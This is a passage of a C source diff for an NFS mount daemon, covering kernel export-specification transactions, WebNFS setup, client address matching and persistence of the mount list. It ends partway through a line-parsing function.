[EXPSPEC_FN_CLEAR] = + { .func = expspec_clear, .name = "expspec_clear" }, + [EXPSPEC_FN_RELOAD] = + { .func = expspec_reload, .name = "expspec_reload" }, + [EXPSPEC_FN_UPDATE] = + { .func = expspec_update, .name = "expspec_update" }, + [EXPSPEC_FN_EVENT] = + { .func = expspec_event, .name = "expspec_event" } +}; + +/* + * SIGHUP handler. + */ +/* ARGSUSED */ +static void +sig_hup(int signo __unused) +{ + (void)write(sig_pipe[1], "", 1); + signal_flag = 1; + reconf_flag = 1; +} + +/* + * SIGTERM (and SIGINT) handler. + */ +/* ARGSUSED */ +static void +sig_term(int signo __unused) +{ + (void)write(sig_pipe[1], "", 1); + signal_flag = 1; + shutdown_flag = 1; +} + +/* + * Make descriptor non-blockable. + */ +static int +set_nonblock(const int fd) +{ + int val; + + val = fcntl(fd, F_GETFL, 0); + if (val < 0) { + syslog(LOG_ERR, "set_nonblock: fcntl(%d, F_GETFL): %m", fd); + return (-1); + } + if (fcntl(fd, F_SETFL, val | O_NONBLOCK) < 0) { + syslog(LOG_ERR, "set_nonblock: fcntl(%d, F_SETFL): %m", fd); + return (-1); + } + return (0); +} + +/* + * Make descriptor blockable. + */ +static int +set_block(const int fd) +{ + int val; + + val = fcntl(fd, F_GETFL, 0); + if (val < 0) { + syslog(LOG_ERR, "set_block: fcntl(%d, F_GETFL): %m", fd); + return (-1); + } + if (fcntl(fd, F_SETFL, val & ~O_NONBLOCK) < 0) { + syslog(LOG_ERR, "set_block: fcntl(%d, F_SETFL): %m", fd); + return (-1); + } + return (0); +} + +/* + * Find exported fs_exp by a file system ID. + */ +static struct fs_exp * +fs_exp_by_id(const fsid_t *fsid) +{ + struct fs_exp *fe; + + TAILQ_FOREACH(fe, fs_exp_list, link) + if ((fe->oflags & OPT_EXPORTED) && + fe->fsid.val[0] == fsid->val[0] && + fe->fsid.val[1] == fsid->val[1]) + break; + return (fe); +} + +/* + * Find fs_exp by a directory path. + */ +struct fs_exp * +fs_exp_by_path(const struct fs_exp_list *fe_list, const char *path) +{ + struct fs_exp *fe; + + TAILQ_FOREACH(fe, fe_list, link) + if (strcmp(fe->path, path) == 0) + break; + return (fe); +} + +/* + * Send commands to nfsserver. + */ +static int +nfsserver_call(struct nfse_cmds_hdr *hdr) +{ + if (nfssvc(NFSSVC_EXPORT, hdr) == 0) + return (EXPSPEC_RET_OK); + + if (errno == ESRCH) { + syslog(LOG_WARNING, "nfsserver_call: nfssvc(NFSSVC_EXPORT): " + "commands transaction timeout"); + return (EXPSPEC_RET_TIMEOUT); + } + + syslog(LOG_ERR, "nfsserver_call: nfssvc(NFSSVC_EXPORT): %m"); + return (EXPSPEC_RET_FAILED); +} + +/* + * Clear all export specifications. + */ +static int +expspec_clear(void) +{ + static struct nfse_cmds_hdr hdr = { + .version = NFSE_API_VERSION, + .flags = NFSE_HDR_TR_START|NFSE_HDR_TR_COMMIT, + .trid = 0, + .ncmds = 1 + }; + static struct nfse_cmd cmd = { + .command = NFSE_CMD_CLEAR, + .size = 0, + .data = NULL + }; + + hdr.cmds = &cmd; + return (nfsserver_call(&hdr)); +} + +/* + * Copy content of the addr_exp structure to the nfse_cmd_export_spec + * structure. + */ +static void +copy_ae_to_es(const sa_family_t family, const struct addr_exp *ae, + struct nfse_cmd_export_spec *cmd_es) +{ + uint32_t cmd; + + cmd = _CMD_GET(ae->oflags); + switch (cmd) { + case CMD_ADD: + cmd_es->flags = NFSE_CMD_EXPORT_ADD; + break; + case CMD_UPDATE: + cmd_es->flags = NFSE_CMD_EXPORT_UPDATE; + break; + case CMD_DELETE: + cmd_es->flags = NFSE_CMD_EXPORT_DELETE; + break; + } + if (cmd != CMD_DELETE) { + if (ae->oflags & OPT_RO) + cmd_es->flags |= NFSE_CMD_EXPORT_RDONLY; + if (ae->oflags & OPT_MAPALL) + cmd_es->flags |= NFSE_CMD_EXPORT_MAPALL; + if (ae->oflags & OPT_DENY) + cmd_es->flags |= NFSE_CMD_EXPORT_DENY; + cmd_es->nsec = ae->secflavors->nsec; + cmd_es->sec = ae->secflavors->sec; + cmd_es->uid = ae->cred_exp->uid; + cmd_es->ngids = ae->cred_exp->ngids; + cmd_es->gids = ae->cred_exp->gids; + } + cmd_es->family = family; + if (family != AF_UNSPEC) { + const struct addr_spec *as; + + as = ae->addr_spec; + cmd_es->maskbits = (u_char)as->maskbits; + cmd_es->addr = family == AF_INET ? + (const uint8_t *)&ADDR4_SPEC_CPTR(as)->addr.s_addr : + (const uint8_t *)&ADDR6_SPEC_CPTR(as)->addr.s6_addr; + } else + cmd_es->maskbits = 0; +} + +/* + * This function copies not more than *n_p export specifications from fs_exp + * to the array of nfse_cmd_export_spec structures. First call to this + * function for a new fs_exp must be with AF_UNSPEC family and *ae_p equal + * to NULL. The value *ae_p should not be interpreted by a caller. If this + * function returns zero, then all address specifications were copied. + * On return *n_p is equal to the free entries in the cmd_es array. + */ +static int +copy_fe_to_es(const struct fs_exp *const fe, sa_family_t *family_p, + struct addr_exp **const ae_p, u_int *n_p, + struct nfse_cmd_export_spec *cmd_es) +{ + struct addr_exp *ae; + u_int i; + sa_family_t family; + + family = *family_p; + ae = *ae_p; + i = *n_p; + + if (i == 0) + return (1); + + if (family == AF_UNSPEC) { + if (ae == NULL && (fe->oflags & CMD_OPT_FLUSH)) { + cmd_es->flags = NFSE_CMD_EXPORT_CLEAR; + cmd_es->family = AF_UNSPEC; + cmd_es->maskbits = 0; + ++cmd_es; + --i; + } + ae = fe->ae_def; + if (ae != NULL) + if (i != 0) { + copy_ae_to_es(AF_UNSPEC, ae, cmd_es++); + --i; + ae = NULL; + } + if (ae == NULL) { + family = AF_INET; + ae = TAILQ_FIRST(&fe->ae4_list); + } + } + if (family == AF_INET) { + for (; i != 0 && ae != NULL; ae = TAILQ_NEXT(ae, link), --i) + copy_ae_to_es(AF_INET, ae, cmd_es++); + if (ae == NULL) { + family = AF_INET6; + ae = TAILQ_FIRST(&fe->ae6_list); + } + } + if (family == AF_INET6) { + for (; i != 0 && ae != NULL; ae = TAILQ_NEXT(ae, link), --i) + copy_ae_to_es(AF_INET6, ae, cmd_es++); + } + + *family_p = family; + *ae_p = ae; + *n_p = i; + return (ae != NULL); +} + +/* + * Check result of the NFSE_CMD_EXPORT command. + */ +static int +check_cmd_export(struct fs_exp *fe, const struct nfse_cmd_export *cmd_export, + const int verbose_type) +{ + uint32_t quiet; + + if (cmd_export->status & NFSE_CMD_EXPORT_WRONG_ID) { + if (!(fe->oflags & OPT_EXPORTED)) + syslog(LOG_ERR, "check_cmd_export: file system " + "%s was exported by another process", fe->path); + else + syslog(LOG_ERR, "check_cmd_export: file system ID " + "mismatch for %s, it was re-exported by another " + "process", fe->path); + return (-1); + } + quiet = fe->oflags & OPT_QUIET; + if (cmd_export->status & NFSE_CMD_EXPORT_EXPORTED) { + if (verbose_type != 0 && !quiet) + syslog(LOG_WARNING, "directory %s now is a mount " + "point and is exported", fe->path); + fe->oflags |= OPT_EXPORTED; + fe->fsid = cmd_export->fsid; + } else if (fe->oflags & OPT_EXPORTED) { + fe->oflags &= ~OPT_EXPORTED; + mntlist_free_mh_list(&fe->mh4_list); + mntlist_free_mh_list(&fe->mh6_list); + if (verbose_type != 0 && !quiet) + syslog(LOG_WARNING, "directory %s now is not a mount " + "point and is not exported any more", fe->path); + } else { + if (verbose_type == 0 && !quiet) + syslog(LOG_WARNING, "directory %s is not a mount " + "point and cannot be exported", fe->path); + } + return (0); +} + +/* + * Load settings for WebNFS, this loading should be done as one commands + * transaction, that cannot have timeout. In several points this function + * fails, but returns no error code, since that mistakes mean that a file + * system was unmounted or re-mounted (configuration will be synchronized + * soon). + */ +static int +expspec_webnfs(const struct fs_exp *fe) +{ + static struct nfse_cmds_hdr hdr = { + .version = NFSE_API_VERSION, + .flags = NFSE_HDR_TR_START|NFSE_HDR_TR_COMMIT, + .trid = 0, + .ncmds = 1 + }; + static struct nfse_cmd cmd = { + .command = NFSE_CMD_WEBNFS, + .size = sizeof(struct nfse_cmd_webnfs) + }; + + struct nfse_cmd_webnfs cmd_webnfs; + fhandle_t fh; + int rv; + + if (!(fe->oflags & OPT_EXPORTED)) + return (EXPSPEC_RET_OK); + + if (getfh(fe->path, &fh) < 0) { + if (crit_fs_err(errno)) { + syslog(LOG_ERR, "expspec_webnfs: getfh: %m"); + return (EXPSPEC_RET_FAILED); + } else + return (EXPSPEC_RET_OK); + } + if (fh.fh_fsid.val[0] != fe->fsid.val[0] || + fh.fh_fsid.val[1] != fe->fsid.val[1]) + return (EXPSPEC_RET_OK); + + hdr.cmds = &cmd; + cmd.data = &cmd_webnfs; + + cmd_webnfs.path = fe->path; + cmd_webnfs.path_size = fe->path_len + 1; + if (index_webnfs == NULL) { + cmd_webnfs.index = NULL; + cmd_webnfs.index_size = 0; + } else { + cmd_webnfs.index = index_webnfs; + cmd_webnfs.index_size = strlen(index_webnfs) + 1; + } + cmd_webnfs.fsid = fe->fsid; + cmd_webnfs.fid = fh.fh_fid; + + rv = nfsserver_call(&hdr); + if (rv != EXPSPEC_RET_OK) + return (rv); + + if (cmd_webnfs.status & NFSE_CMD_WEBNFS_EXPORTED) { + if (cmd_webnfs.status & NFSE_CMD_WEBNFS_WRONG_ID) { + syslog(LOG_ERR, "expspec_webnfs: file system ID " + "mismatch for %s, it was re-exported by another " + "process", fe->path); + return (EXPSPEC_RET_FAILED); + } + } else { + /* Public file system is not exported any more. */ + } + return (EXPSPEC_RET_OK); +} + +/* + * Reload export specifications for all file systems. + * This implementation does not make difference of settings in fs_exp_list + * and in fs_exp_list_prev, it simply clear everything and add new settings. + */ +static int +expspec_reload(void) +{ + struct nfse_cmd cmds[EXPSPEC_ES_NUM + 1]; + struct nfse_cmd_export_spec cmd_es[EXPSPEC_ES_NUM]; + struct nfse_cmds_hdr hdr; + const struct fs_exp_list *fe_list; + struct nfse_cmd_export *cmd_export; + struct fs_exp *fe, *fe_webnfs; + struct addr_exp *ae; + u_int n, ci, cei, cesi; + int rv; + sa_family_t family; + + n = 0; + fe_list = fs_exp_list; + TAILQ_FOREACH(fe, fe_list, link) + ++n; + if (n != 0) { + cmd_export = malloc(n * sizeof(*cmd_export)); + if (cmd_export == NULL) { + syslog(LOG_ERR, "expspec_reload: malloc: %m"); + return (EXPSPEC_RET_FAILED); + } + } else + cmd_export = NULL; + + hdr.version = NFSE_API_VERSION; + hdr.flags = NFSE_HDR_TR_START; + hdr.trid = 0; + hdr.ncmds = 1; + hdr.cmds = cmds; + + cmds[0].command = NFSE_CMD_CLEAR; + cmds[0].size = 0; + cmds[0].data = NULL; + + fe_webnfs = NULL; + + ci = 1; + cei = 0; + cesi = 0; + TAILQ_FOREACH(fe, fe_list, link) { + hdr.ncmds++; + cmds[ci].command = NFSE_CMD_EXPORT; + cmds[ci].size = sizeof(*cmd_export); + cmds[ci].data = &cmd_export[cei]; + + cmd_export[cei].path = fe->path; + cmd_export[cei].path_size = fe->path_len + 1; + cmd_export[cei].status = 0; + + ae = NULL; + family = AF_UNSPEC; + for (n = EXPSPEC_ES_NUM - cesi;; n = EXPSPEC_ES_NUM) { + if (copy_fe_to_es(fe, &family, &ae, &n, + &cmd_es[cesi]) == 0) + break; + cmd_export[cei].nspec = EXPSPEC_ES_NUM - cesi; + cmd_export[cei].spec = &cmd_es[cesi]; + rv = nfsserver_call(&hdr); + if (rv != EXPSPEC_RET_OK) + goto failed; + hdr.flags = 0; + hdr.ncmds = 1; + cmds[0].command = NFSE_CMD_EXPORT; + cmds[0].size = sizeof(*cmd_export); + cmds[0].data = &cmd_export[cei]; + cmd_export[cei].path = NULL; + ci = 1; + cesi = 0; + } + + cmd_export[cei].nspec = EXPSPEC_ES_NUM - cesi - n; + cmd_export[cei].spec = &cmd_es[cesi]; + + if (n == 0) { + rv = nfsserver_call(&hdr); + if (rv != EXPSPEC_RET_OK) + goto failed; + hdr.flags = 0; + hdr.ncmds = 0; + ci = 0; + cesi = 0; + } else { + ci++; + cesi = EXPSPEC_ES_NUM - n; + } + + cei++; + + if (fe->oflags & OPT_PUBLIC) + fe_webnfs = fe; + } + + hdr.flags |= NFSE_HDR_TR_COMMIT; + + rv = nfsserver_call(&hdr); + if (rv != EXPSPEC_RET_OK) + goto failed; + + cei = 0; + TAILQ_FOREACH(fe, fe_list, link) { + if (check_cmd_export(fe, &cmd_export[cei], 0) < 0) { + rv = EXPSPEC_RET_FAILED; + goto failed; + } + cei++; + } + + free(cmd_export); + + rv = (fe_webnfs == NULL) ? EXPSPEC_RET_OK : expspec_webnfs(fe_webnfs); + return (rv); + +failed: + free(cmd_export); + return (rv); +} + +/* + * Update export specifications. + */ +static int +expspec_update(void) +{ + struct nfse_cmd cmds[EXPSPEC_ES_NUM]; + struct nfse_cmd_export_spec cmd_es[EXPSPEC_ES_NUM]; + struct nfse_cmds_hdr hdr; + const struct fs_exp_list *fe_list; + struct nfse_cmd_export *cmd_export; + struct fs_exp *fe; + struct addr_exp *ae; + u_int n, ci, cei, cesi; + int rv; + sa_family_t family; + + n = 0; + fe_list = &fs_exp_list_update; + TAILQ_FOREACH(fe, fe_list, link) + if (fe->oflags & (OPT_EXPORTED|OPT_NEWEXPORT)) + ++n; + if (n == 0) + return (EXPSPEC_RET_OK); + cmd_export = malloc(n * sizeof(*cmd_export)); + if (cmd_export == NULL) { + syslog(LOG_ERR, "expspec_update: malloc: %m"); + return (EXPSPEC_RET_FAILED); + } + + hdr.version = NFSE_API_VERSION; + hdr.flags = NFSE_HDR_TR_START; + hdr.trid = 0; + hdr.ncmds = 0; + hdr.cmds = cmds; + + ci = 0; + cei = 0; + cesi = 0; + TAILQ_FOREACH(fe, fe_list, link) { + if (!(fe->oflags & (OPT_EXPORTED|OPT_NEWEXPORT))) + continue; + + hdr.ncmds++; + cmds[ci].command = NFSE_CMD_EXPORT; + cmds[ci].size = sizeof(*cmd_export); + cmds[ci].data = &cmd_export[cei]; + + cmd_export[cei].path = fe->path; + cmd_export[cei].path_size = fe->path_len + 1; + if (fe->oflags & OPT_EXPORTED) { + cmd_export[cei].fsid = fe->fsid; + cmd_export[cei].status = NFSE_CMD_EXPORT_EXPORTED; + } else + cmd_export[cei].status = 0; + + ae = NULL; + family = AF_UNSPEC; + for (n = EXPSPEC_ES_NUM - cesi;; n = EXPSPEC_ES_NUM) { + if (copy_fe_to_es(fe, &family, &ae, &n, + &cmd_es[cesi]) == 0) + break; + cmd_export[cei].nspec = EXPSPEC_ES_NUM - cesi; + cmd_export[cei].spec = &cmd_es[cesi]; + rv = nfsserver_call(&hdr); + if (rv != EXPSPEC_RET_OK) + goto failed; + hdr.flags = 0; + hdr.ncmds = 1; + cmds[0].command = NFSE_CMD_EXPORT; + cmds[0].size = sizeof(*cmd_export); + cmds[0].data = &cmd_export[cei]; + cmd_export[cei].path = NULL; + ci = 1; + cesi = 0; + } + + cmd_export[cei].nspec = EXPSPEC_ES_NUM - cesi - n; + cmd_export[cei].spec = &cmd_es[cesi]; + + if (n == 0) { + rv = nfsserver_call(&hdr); + if (rv != EXPSPEC_RET_OK) + goto failed; + hdr.flags = 0; + hdr.ncmds = 0; + ci = 0; + cesi = 0; + } else { + ci++; + cesi = EXPSPEC_ES_NUM - n; + } + + cei++; + } + + hdr.flags |= NFSE_HDR_TR_COMMIT; + + rv = nfsserver_call(&hdr); + if (rv != EXPSPEC_RET_OK) + goto failed; + + cei = 0; + TAILQ_FOREACH(fe, fe_list, link) { + if (!(fe->oflags & (OPT_EXPORTED|OPT_NEWEXPORT))) + continue; + fe->oflags &= ~OPT_NEWEXPORT; + if (check_cmd_export(fe, &cmd_export[cei], 0) < 0) { + rv = EXPSPEC_RET_FAILED; + goto failed; + } + cei++; + } + + free(cmd_export); + return (EXPSPEC_RET_OK); + +failed: + free(cmd_export); + return (rv); +} + +/* + * Load settings for one file system, but do not log warning messages + * if this file system is not mounted. + */ +static int +expspec_load_one(struct fs_exp *fe) +{ + struct nfse_cmd_export_spec cmd_es[EXPSPEC_ES_NUM]; + struct nfse_cmd cmd; + struct nfse_cmds_hdr hdr; + struct nfse_cmd_export cmd_export; + struct addr_exp *ae; + u_int n; + int rv; + sa_family_t family; + + hdr.version = NFSE_API_VERSION; + hdr.flags = NFSE_HDR_TR_START; + hdr.trid = 0; + hdr.ncmds = 1; + hdr.cmds = &cmd; + + cmd.command = NFSE_CMD_EXPORT; + cmd.size = sizeof(cmd_export); + cmd.data = &cmd_export; + + cmd_export.path = fe->path; + cmd_export.path_size = fe->path_len + 1; + cmd_export.status = 0; + cmd_export.nspec = EXPSPEC_ES_NUM; + cmd_export.spec = cmd_es; + + ae = NULL; + family = AF_UNSPEC; + for (n = EXPSPEC_ES_NUM;; n = EXPSPEC_ES_NUM) { + if (copy_fe_to_es(fe, &family, &ae, &n, cmd_es) == 0) + break; + rv = nfsserver_call(&hdr); + if (rv != EXPSPEC_RET_OK) + return (rv); + hdr.flags = 0; + cmd_export.path = NULL; + } + + cmd_export.nspec = EXPSPEC_ES_NUM - n; + hdr.flags |= NFSE_HDR_TR_COMMIT; + + rv = nfsserver_call(&hdr); + if (rv != EXPSPEC_RET_OK) + return (rv); + + if (check_cmd_export(fe, &cmd_export, 1) < 0) + return (EXPSPEC_RET_FAILED); + + rv = !(fe->oflags & OPT_PUBLIC) ? EXPSPEC_RET_OK : expspec_webnfs(fe); + return (rv); +} + +/* + * Synchronize VFS events. + * Since VFS events are asynchronous, let's check all events one by one. + */ +static int +expspec_event(void) +{ + static struct nfse_cmds_hdr hdr = { + .version = NFSE_API_VERSION, + .flags = NFSE_HDR_TR_START|NFSE_HDR_TR_COMMIT, + .trid = 0, + .ncmds = 1 + }; + static struct nfse_cmd cmd = { + .command = NFSE_CMD_EVENT, + .size = sizeof(struct nfse_cmd_event) + }; + + struct nfse_cmd_event cmd_event; + const struct fs_exp_list *fe_list; + struct fs_exp *fe; + int rv; + + hdr.cmds = &cmd; + cmd.data = &cmd_event; + + fe_list = fs_exp_list; + TAILQ_FOREACH(fe, fe_list, link) { + cmd_event.path = fe->path; + cmd_event.path_size = fe->path_len + 1; + if (fe->oflags & OPT_EXPORTED) { + cmd_event.status = NFSE_CMD_EVENT_EXPORTED; + cmd_event.fsid = fe->fsid; + } else + cmd_event.status = 0; + rv = nfsserver_call(&hdr); + if (rv != EXPSPEC_RET_OK) + return (rv); + if (cmd_event.status & NFSE_CMD_EVENT_EXPORTED) { + if (!(fe->oflags & OPT_EXPORTED)) { + syslog(LOG_ERR, "expspec_event: file system " + "%s was exported by another process", + fe->path); + return (EXPSPEC_RET_FAILED); + } + if (cmd_event.status & NFSE_CMD_EVENT_WRONG_ID) { + syslog(LOG_ERR, "expspec_event: file system " + "ID mismatch for %s, it was re-exported " + "by another process", fe->path); + return (EXPSPEC_RET_FAILED); + } + } else if (cmd_event.status & NFSE_CMD_EVENT_MOUNTED) { + return (expspec_load_one(fe)); + } else if (fe->oflags & OPT_EXPORTED) { + struct nfse_cmd_export cmd_export; + + cmd_export.status = 0; + (void)check_cmd_export(fe, &cmd_export, 1); + } + } + + return (EXPSPEC_RET_OK); +} + +/* + * Call one of expspec_*() function. If called function had transaction + * timeout, then check whether there are pending SIGTERM or SIGINT signals. + * If these signals are pending, then set shutdown_flag and return + * immediately. Otherwise sleep for a while and retry function call. + */ +static int +expspec_func(const u_int funcno) +{ + sigset_t sigset; + + for (;;) { + switch (expspec_func_tbl[funcno].func()) { + case EXPSPEC_RET_OK: + return (0); + case EXPSPEC_RET_FAILED: + syslog(LOG_ERR, "%s: function failed", + expspec_func_tbl[funcno].name); + return (-1); + } + syslog(LOG_WARNING, "%s: retrying in %u seconds", + expspec_func_tbl[funcno].name, EXPSPEC_TO_SLEEP); + if (sigpending(&sigset) < 0) { + syslog(LOG_ERR, "expspec_func: sigpending: %m"); + return (-1); + } + if (sigismember(&sigset, SIGTERM) || + sigismember(&sigset, SIGINT)) { + shutdown_flag = 1; + return (-1); + } + sleep(EXPSPEC_TO_SLEEP); + } +} + +/* + * Find the most specific address specification for address + * in sa of the given family in address specifications from fe. + * Return pointer to addr_exp structure or NULL if no match + * was found. + */ +static const struct addr_exp * +lookup_addr_exp(const struct fs_exp *fe, const struct sockaddr *sa) +{ + const struct addr_exp *ae; + + /* + * All addr_exp structures are sorted by maskbits value as follows: + * at the beginning all structures with zero maskbits (hosts), then + * all structures in descending order of maskbits value. + */ + if (sa->sa_family == AF_INET) { + struct in_addr in_addr; + const struct addr4_spec *as4; + + in_addr = ((const struct sockaddr_in *)sa)->sin_addr; + TAILQ_FOREACH(ae, &fe->ae4_list, link) { + as4 = ADDR4_SPEC_CPTR(ae->addr_spec); + if ((in_addr.s_addr & as4->mask.s_addr) == + as4->addr.s_addr) + break; + } + } else { + const struct addr6_spec *as6; + const uint32_t *addr1, *addr2, *mask; + u_int i; + + addr1 = (const uint32_t *) + &((const struct sockaddr_in6 *)sa)->sin6_addr.s6_addr; + TAILQ_FOREACH(ae, &fe->ae6_list, link) { + as6 = ADDR6_SPEC_CPTR(ae->addr_spec); + addr2 = (const uint32_t *)&as6->addr.s6_addr; + mask = (const uint32_t *)&as6->mask.s6_addr; + for (i = 0; i < IPV6_ADDR_LEN / 4; ++i) + if ((addr1[i] & mask[i]) != addr2[i]) + goto next_a6; + break; +next_a6: ; + } + } + + return (ae != NULL ? ae : fe->ae_def); +} + +/* + * Release memory used by one mnt_host. + */ +static void +mntlist_free_mh(struct mnt_host *mh) +{ + const struct mnt_path_list *mp_list; + struct mnt_path *mp, *mp_next; + + mp_list = &mh->mp_list; + LIST_FOREACH_SAFE(mp, mp_list, link, mp_next) { + if (mp->subpath != subpath_empty) + free(mp->subpath); + free(mp); + } + LIST_REMOVE(mh, link); + free(mh); +} + +/* + * Release memory used by one mnt_host_list. + */ +void +mntlist_free_mh_list(struct mnt_host_list *mh_list) +{ + struct mnt_host *mh, *mh_next; + + LIST_FOREACH_SAFE(mh, mh_list, link, mh_next) + mntlist_free_mh(mh); +} + +/* + * Check whether all hosts from the appropriate mnt_host_list + * still can mount paths from the file system. + */ +void +mntlist_recheck(const u_int family, struct fs_exp *fe) +{ + const struct mnt_host_list *mh_list; + const struct addr_exp *ae; + struct mnt_host *mh, *mh_next; + + if (fe->ae_def != NULL) + return; + + if (family == AF_INET) { + struct sockaddr_in sa4; + + sa4.sin_family = AF_INET; + mh_list = &fe->mh4_list; + LIST_FOREACH_SAFE(mh, mh_list, link, mh_next) { + sa4.sin_addr = *MNT_HOST_ADDR4(mh); + ae = lookup_addr_exp(fe, (struct sockaddr *)&sa4); + if (ae == NULL || (ae->oflags & OPT_DENY)) + mntlist_free_mh(mh); + } + } else { + struct sockaddr_in6 sa6; + + sa6.sin6_family = AF_INET6; + mh_list = &fe->mh6_list; + LIST_FOREACH_SAFE(mh, mh_list, link, mh_next) { + sa6.sin6_addr = *MNT_HOST_ADDR6(mh); + ae = lookup_addr_exp(fe, (struct sockaddr *)&sa6); + if (ae == NULL || (ae->oflags & OPT_DENY)) + mntlist_free_mh(mh); + } + } +} + +/* + * Move list from head1 to head2. + */ +#define LIST_MOVE(head1, head2, field) do { \ + if (!LIST_EMPTY((head1))) { \ + LIST_FIRST((head2)) = LIST_FIRST((head1)); \ + LIST_FIRST((head2))->field.le_prev = &LIST_FIRST((head2));\ + LIST_INIT((head1)); \ + } \ +} while (0); + +/* + * Copy mount information from the previous configuration to + * the new configuration. + */ +static void +mntlist_inherit(void) +{ + struct fs_exp_list *fe1_list, *fe2_list; + struct fs_exp *fe1, *fe2; + + if (no_mntproc_dump) + return; + fe1_list = fs_exp_list_prev; + fe2_list = fs_exp_list; + TAILQ_FOREACH(fe1, fe1_list, link) { + if (!(fe1->oflags & OPT_EXPORTED) || + (fe1->oflags & OPT_NO_MNT_DMP)) + continue; + fe2 = fs_exp_by_path(fe2_list, fe1->path); + if (fe2 != NULL && (fe2->oflags & OPT_EXPORTED) && + !(fe2->oflags & OPT_NO_MNT_DMP)) { + LIST_MOVE(&fe1->mh4_list, &fe2->mh4_list, link); + mntlist_recheck(AF_INET, fe2); + LIST_MOVE(&fe1->mh6_list, &fe2->mh6_list, link); + mntlist_recheck(AF_INET6, fe2); + } + } +} + +/* + * Find mnt_host in fs_exp for the given address. + */ +static struct mnt_host * +mntlist_find_mh(struct fs_exp *fe, const struct sockaddr *sa, + const int new_flag) +{ + struct mnt_host_list *mh_list; + struct mnt_host *mh; + + if (sa->sa_family == AF_INET) { + struct in_addr in_addr; + + in_addr = ((const struct sockaddr_in *)sa)->sin_addr; + mh_list = &fe->mh4_list; + LIST_FOREACH(mh, mh_list, link) + if (in_addr.s_addr == MNT_HOST_ADDR4(mh)->s_addr) + return (mh); + if (new_flag) { + mh = malloc(MNT_HOST_IPV4_SIZE); + if (mh == NULL) { + syslog(LOG_ERR, "mntlist_find_mh: malloc: %m"); + return (NULL); + } + *MNT_HOST_ADDR4(mh) = in_addr; + LIST_INSERT_HEAD(mh_list, mh, link); + LIST_INIT(&mh->mp_list); + return (mh); + } + } else { + struct in6_addr in6_addr; + + in6_addr = ((const struct sockaddr_in6 *)sa)->sin6_addr; + mh_list = &fe->mh6_list; + LIST_FOREACH(mh, mh_list, link) + if (addrcmp(in6_addr.s6_addr, + MNT_HOST_ADDR6(mh)->s6_addr, IPV6_ADDR_LEN) == 0) + return (mh); + if (new_flag) { + mh = malloc(MNT_HOST_IPV6_SIZE); + if (mh == NULL) { + syslog(LOG_ERR, "mntlist_find_mh: malloc: %m"); + return (NULL); + } + *MNT_HOST_ADDR6(mh) = in6_addr; + LIST_INSERT_HEAD(mh_list, mh, link); + LIST_INIT(&mh->mp_list); + return (mh); + } + } + return (NULL); +} + +/* + * Find mnt_path in mnt_host for the given subpath. + */ +static struct mnt_path * +mntlist_find_mp(const struct mnt_host *mh, const char *subpath) +{ + const struct mnt_path_list *mp_list; + struct mnt_path *mp; + + mp_list = &mh->mp_list; + LIST_FOREACH(mp, &mh->mp_list, link) + if (strcmp(mp->subpath, subpath) == 0) + return (mp); + return (NULL); +} + +/* + * Dump one line with host and mounted path to MNTLISTFILE. + */ +static int +mntlist_write_line(FILE *fp, const u_int family, const struct mnt_host *mh, + const char *path, const char *subpath) +{ + char host[INET6_ADDRSTRLEN]; + + if (inet_ntop(family, MNT_HOST_ADDR(mh), host, sizeof(host)) == NULL) { + syslog(LOG_ERR, "mntlist_write: inet_ntop: %m"); + return (0); + } + if ((subpath == subpath_empty ? fprintf(fp, "%s %s\n", host, path) : + fprintf(fp, "%s %s//%s\n", host, path, subpath)) < 0) { + syslog(LOG_ERR, "mntlist_write: fprintf to %s failed: %m", + MNTLISTFILE); + return (-1); + } + return (0); +} + +/* + * Dump all lists of hosts and mounted paths to MNTLISTFILE. + */ +static int +mntlist_write(void) +{ + const struct mnt_host_list *mh_list; + const struct fs_exp_list *fe_list; + const struct fs_exp *fe; + struct mnt_host *mh; + const struct mnt_path *mp; + FILE *fp; + u_int family; + int rv; + + fp = fopen(MNTLISTFILE, "w"); + if (fp == NULL) { + syslog(LOG_ERR, "mntlist_write: fopen(%s, \"w\"): %m", + MNTLISTFILE); + return (-1); + } + + rv = 0; + fe_list = fs_exp_list; + TAILQ_FOREACH(fe, fe_list, link) { + for (family = AF_INET, mh_list = &fe->mh4_list;;) { + LIST_FOREACH(mh, mh_list, link) + LIST_FOREACH(mp, &mh->mp_list, link) + if (mntlist_write_line(fp, family, + mh, fe->path, mp->subpath) < 0) { + rv = -1; + goto done; + } + if (mh_list == &fe->mh6_list) + break; + family = AF_INET6; + mh_list = &fe->mh6_list; + } + } +done: + if (fclose(fp) != 0) { + syslog(LOG_ERR, "mntlist_write: fclose(%s): %m", MNTLISTFILE); + rv = -1; + } + if (rv != 0) + if (unlink(MNTLISTFILE) < 0) + syslog(LOG_ERR, "mntlist_write: unlink(%s): %m", + MNTLISTFILE); + return (rv); +} + +/* + * Parse one line from MNTLISTFILE. Mistakes like "not enough memory" are + * ignored, since information from this file is not important for mountd. + */ +#define MNTLIST_READ_OK 0 /* Line was successfully parsed. */ +#define MNTLIST_READ_FORMAT 1 /* Wrong format, ignore this line. */ +#define MNTLIST_READ_IGNORE 2 /* Ignore this line. */ +#define MNTLIST_READ_SKIP 3 /* Silently skip this line. */ +#define MNTLIST_READ_FINISH 4 /* Finish file parsing. */ +static int +mntlist_read_line(char *str, size_t str_size) +{ + struct sockaddr_in6 sa6; + struct sockaddr_in sa4; + struct in6_addr in6_addr; + struct in_addr in_addr; + const struct addr_exp *ae; + struct mnt_host *mh; + struct mnt_path *mp; + struct fs_exp *fe; + void *addr; + char *host, *path, *subpath, *end; + ssize_t ssize; + u_int family; + + /* Check if string is not too long. */ + end = strchr(str, '\n'); + if (end == NULL) { + syslog(LOG_WARNING, "mntlist_read: wrong format of %s: " + "too long line (> %zu bytes) or no newline at " + "the end, ignoring this \"%s\" line and rest of " + "lines", MNTLISTFILE, str_size - 1, str); + return (MNTLIST_READ_FINISH); + } + *end = '\0'; + + /* Validate format "host /path" */ + host = str; + path = strchr(str, ' '); + if (path == NULL) { + syslog(LOG_WARNING, "mntlist_read: path name is absent"); + return (MNTLIST_READ_FORMAT); + } + *path++ = '\0'; + if (*path != '/') { + syslog(LOG_WARNING, "mntlist_read: no path with " + "absolute name"); + return (MNTLIST_READ_FORMAT); + } + subpath = strstr(path, "//"); + if (subpath != NULL) { + *subpath = '\0'; + subpath += 2; + } else + subpath = subpath_empty; + + /* (host path end) validate lengths. */ + if (path - host > INET6_ADDRSTRLEN) { + syslog(LOG_WARNING, "mntlist_read: too long (> %u bytes) " + "host name", INET6_ADDRSTRLEN); + return (MNTLIST_READ_FORMAT); + } + ssize = subpath == subpath_empty ? (PATH_MAX - 1) : 